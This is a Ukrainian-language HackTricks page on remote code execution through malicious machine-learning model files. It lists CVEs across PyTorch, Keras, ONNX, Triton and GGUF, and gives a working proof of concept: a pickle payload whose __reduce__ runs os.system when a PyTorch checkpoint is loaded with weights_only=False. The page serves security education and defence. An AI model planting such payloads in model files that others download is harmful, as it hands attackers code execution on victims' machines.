Models RCE

Reading time: 4 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Завантаження моделей до RCE

Моделі машинного навчання зазвичай поширюються в різних форматах, таких як ONNX, TensorFlow, PyTorch тощо. Ці моделі можуть бути завантажені на комп'ютери розробників або в продукційні системи для їх використання. Зазвичай моделі не повинні містити шкідливий код, але є випадки, коли модель може бути використана для виконання довільного коду на системі як передбачена функція або через вразливість у бібліотеці завантаження моделі.

На момент написання це деякі приклади цього типу вразливостей:

Фреймворк / ІнструментВразливість (CVE, якщо доступно)RCE ВекторПосилання
PyTorch (Python)Небезпечна десеріалізація в torch.load (CVE-2025-32434)Шкідливий pickle в контрольній точці моделі призводить до виконання коду (обхід захисту weights_only)
PyTorch TorchServeShellTorchCVE-2023-43654, CVE-2022-1471SSRF + завантаження шкідливої моделі викликає виконання коду; десеріалізація Java RCE в API управління
TensorFlow/KerasCVE-2021-37678 (небезпечний YAML)
CVE-2024-3660 (Keras Lambda)
Завантаження моделі з YAML використовує yaml.unsafe_load (виконання коду)
Завантаження моделі з Lambda шаром виконує довільний Python код
TensorFlow (TFLite)CVE-2022-23559 (парсинг TFLite)Сформована .tflite модель викликає переповнення цілого числа → пошкодження купи (потенційний RCE)
Scikit-learn (Python)CVE-2020-13092 (joblib/pickle)Завантаження моделі через joblib.load виконує pickle з навантаженням __reduce__ зловмисника
NumPy (Python)CVE-2019-6446 (небезпечний np.load) суперечливийnumpy.load за замовчуванням дозволяє завантаження об'єктних масивів – шкідливий .npy/.npz викликає виконання коду
ONNX / ONNX RuntimeCVE-2022-25882 (перехід директорії)
CVE-2024-5187 (перехід tar)
Зовнішній шлях ваг моделі ONNX може вийти за межі директорії (читання довільних файлів)
Шкідлива модель ONNX tar може перезаписати довільні файли (призводячи до RCE)
ONNX Runtime (ризик дизайну)(Немає CVE) Користувацькі операції ONNX / контрольний потікМодель з користувацьким оператором вимагає завантаження рідного коду зловмисника; складні графи моделей зловживають логікою для виконання непередбачених обчислень
NVIDIA Triton ServerCVE-2023-31036 (перехід шляху)Використання API завантаження моделі з увімкненим --model-control дозволяє відносний перехід шляху для запису файлів (наприклад, перезапис .bashrc для RCE)
GGML (формат GGUF)CVE-2024-25664 … 25668 (багато переповнень купи)Неправильний файл моделі GGUF викликає переповнення буфера купи в парсері, що дозволяє виконання довільного коду на системі жертви
Keras (старі формати)(Немає нових CVE) Спадковий Keras H5 модельШкідлива HDF5 (.h5) модель з кодом Lambda шару все ще виконується при завантаженні (режим безпеки Keras не охоплює старий формат – “атака з пониження”)
Інші (загальні)Недолік дизайну – серіалізація PickleБагато ML інструментів (наприклад, формати моделей на основі pickle, Python pickle.load) виконуватимуть довільний код, вбудований у файли моделей, якщо не вжити заходів

Більше того, є деякі моделі на основі python pickle, такі як ті, що використовуються PyTorch, які можуть бути використані для виконання довільного коду на системі, якщо їх не завантажити з weights_only=True. Отже, будь-яка модель на основі pickle може бути особливо вразливою до цього типу атак, навіть якщо вони не вказані в таблиці вище.

Приклад:

  • Створіть модель:
python
# attacker_payload.py
import torch
import os

class MaliciousPayload:
def __reduce__(self):
# This code will be executed when unpickled (e.g., on model.load_state_dict)
return (os.system, ("echo 'You have been hacked!' > /tmp/pwned.txt",))

# Create a fake model state dict with malicious content
malicious_state = {"fc.weight": MaliciousPayload()}

# Save the malicious state dict
torch.save(malicious_state, "malicious_state.pth")
  • Завантажте модель:
python
# victim_load.py
import torch
import torch.nn as nn

class MyModel(nn.Module):
def __init__(self):
super().__init__()
self.fc = nn.Linear(10, 1)

model = MyModel()

# ⚠️ This will trigger code execution from pickle inside the .pth file
model.load_state_dict(torch.load("malicious_state.pth", weights_only=False))

# /tmp/pwned.txt is created even if you get an error

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks